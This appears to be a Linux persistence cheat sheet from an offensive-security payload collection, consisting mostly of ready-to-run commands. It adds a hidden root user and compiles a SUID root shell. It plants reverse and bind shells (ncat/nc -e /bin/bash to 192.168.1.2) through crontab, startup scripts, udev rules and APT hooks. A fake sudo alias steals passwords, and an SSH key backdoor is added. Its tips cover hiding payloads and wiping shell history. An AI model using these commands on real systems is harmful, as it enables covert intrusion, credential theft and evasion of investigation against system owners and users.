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Linux - Persistence

Summary

Basic reverse shell

ncat --udp -lvp 4242
ncat --sctp -lvp 4242
ncat --tcp -lvp 4242

Add a root user

sudo useradd -ou 0 -g 0 john
sudo passwd john
echo "linuxpassword" | passwd --stdin john

Suid Binary

TMPDIR2="/var/tmp"
echo 'int main(void){setresuid(0, 0, 0);system("/bin/sh");}' > $TMPDIR2/croissant.c
gcc $TMPDIR2/croissant.c -o $TMPDIR2/croissant 2>/dev/null
rm $TMPDIR2/croissant.c
chown root:root $TMPDIR2/croissant
chmod 4777 $TMPDIR2/croissant

Crontab - Reverse shell

(crontab -l ; echo "@reboot sleep 200 && ncat 192.168.1.2 4242 -e /bin/bash")|crontab 2> /dev/null

Backdooring a user's bash_rc

(FR/EN Version)

TMPNAME2=".systemd-private-b21245afee3b3274d4b2e2-systemd-timesyncd.service-IgCBE0"
cat << EOF > /tmp/$TMPNAME2
  alias sudo='locale=$(locale | grep LANG | cut -d= -f2 | cut -d_ -f1);if [ \$locale  = "en" ]; then echo -n "[sudo] password for \$USER: ";fi;if [ \$locale  = "fr" ]; then echo -n "[sudo] Mot de passe de \$USER: ";fi;read -s pwd;echo; unalias sudo; echo "\$pwd" | /usr/bin/sudo -S nohup nc -lvp 1234 -e /bin/bash > /dev/null && /usr/bin/sudo -S '
EOF
if [ -f ~/.bashrc ]; then
    cat /tmp/$TMPNAME2 >> ~/.bashrc
fi
if [ -f ~/.zshrc ]; then
    cat /tmp/$TMPNAME2 >> ~/.zshrc
fi
rm /tmp/$TMPNAME2

or add the following line inside its .bashrc file.

$ chmod u+x ~/.hidden/fakesudo
$ echo "alias sudo=~/.hidden/fakesudo" >> ~/.bashrc

and create the fakesudo script.

read -sp "[sudo] password for $USER: " sudopass
echo ""
sleep 2
echo "Sorry, try again."
echo $sudopass >> /tmp/pass.txt

/usr/bin/sudo $@

Backdooring a startup service

RSHELL="ncat $LMTHD $LHOST $LPORT -e \"/bin/bash -c id;/bin/bash\" 2>/dev/null"
sed -i -e "4i \$RSHELL" /etc/network/if-up.d/upstart

Backdooring a user startup file

Linux, write a file in ~/.config/autostart/NAME_OF_FILE.desktop

In : ~/.config/autostart/*.desktop

[Desktop Entry]
Type=Application
Name=Welcome
Exec=/var/lib/gnome-welcome-tour
AutostartCondition=unless-exists ~/.cache/gnome-getting-started-docs/seen-getting-started-guide
OnlyShowIn=GNOME;
X-GNOME-Autostart-enabled=false

Backdooring a driver

echo "ACTION==\"add\",ENV{DEVTYPE}==\"usb_device\",SUBSYSTEM==\"usb\",RUN+=\"$RSHELL\"" | tee /etc/udev/rules.d/71-vbox-kernel-drivers.rules > /dev/null

Backdooring the APT

If you can create a file on the apt.conf.d directory with: APT::Update::Pre-Invoke {"CMD"}; Next time "apt-get update" is done, your CMD will be executed!

echo 'APT::Update::Pre-Invoke {"nohup ncat -lvp 1234 -e /bin/bash 2> /dev/null &"};' > /etc/apt/apt.conf.d/42backdoor

Backdooring the SSH

Add an ssh key into the ~/.ssh folder.

  1. ssh-keygen
  2. write the content of ~/.ssh/id_rsa.pub into ~/.ssh/authorized_keys
  3. set the right permission, 700 for ~/.ssh and 600 for authorized_keys

Tips

Hide the payload with ANSI chars, the following chars will clear the terminal when using cat to display the content of your payload.

## Do not remove. Generated from /etc/issue.conf by configure.

Hide in plain sight using zero width spaces in filename.

touch $(echo -n 'index\u200D.php') index.php

Clear the last line of the history.

history -d $(history | tail -2 | awk '{print $1}') 2> /dev/null

Clear history

[SPACE] ANY COMMAND
or
export HISTSIZE=0
export HISTFILESIZE=0
unset HISTFILE; CTRL-D
or
kill -9 $$
or
echo "" > ~/.bash_history
or
rm ~/.bash_history -rf
or
history -c
or
ln /dev/null ~/.bash_history -sf

The following directories are temporary and usually writeable

/var/tmp/
/tmp/
/dev/shm/

Additional Persistence Options

References

Last update: August 30, 2022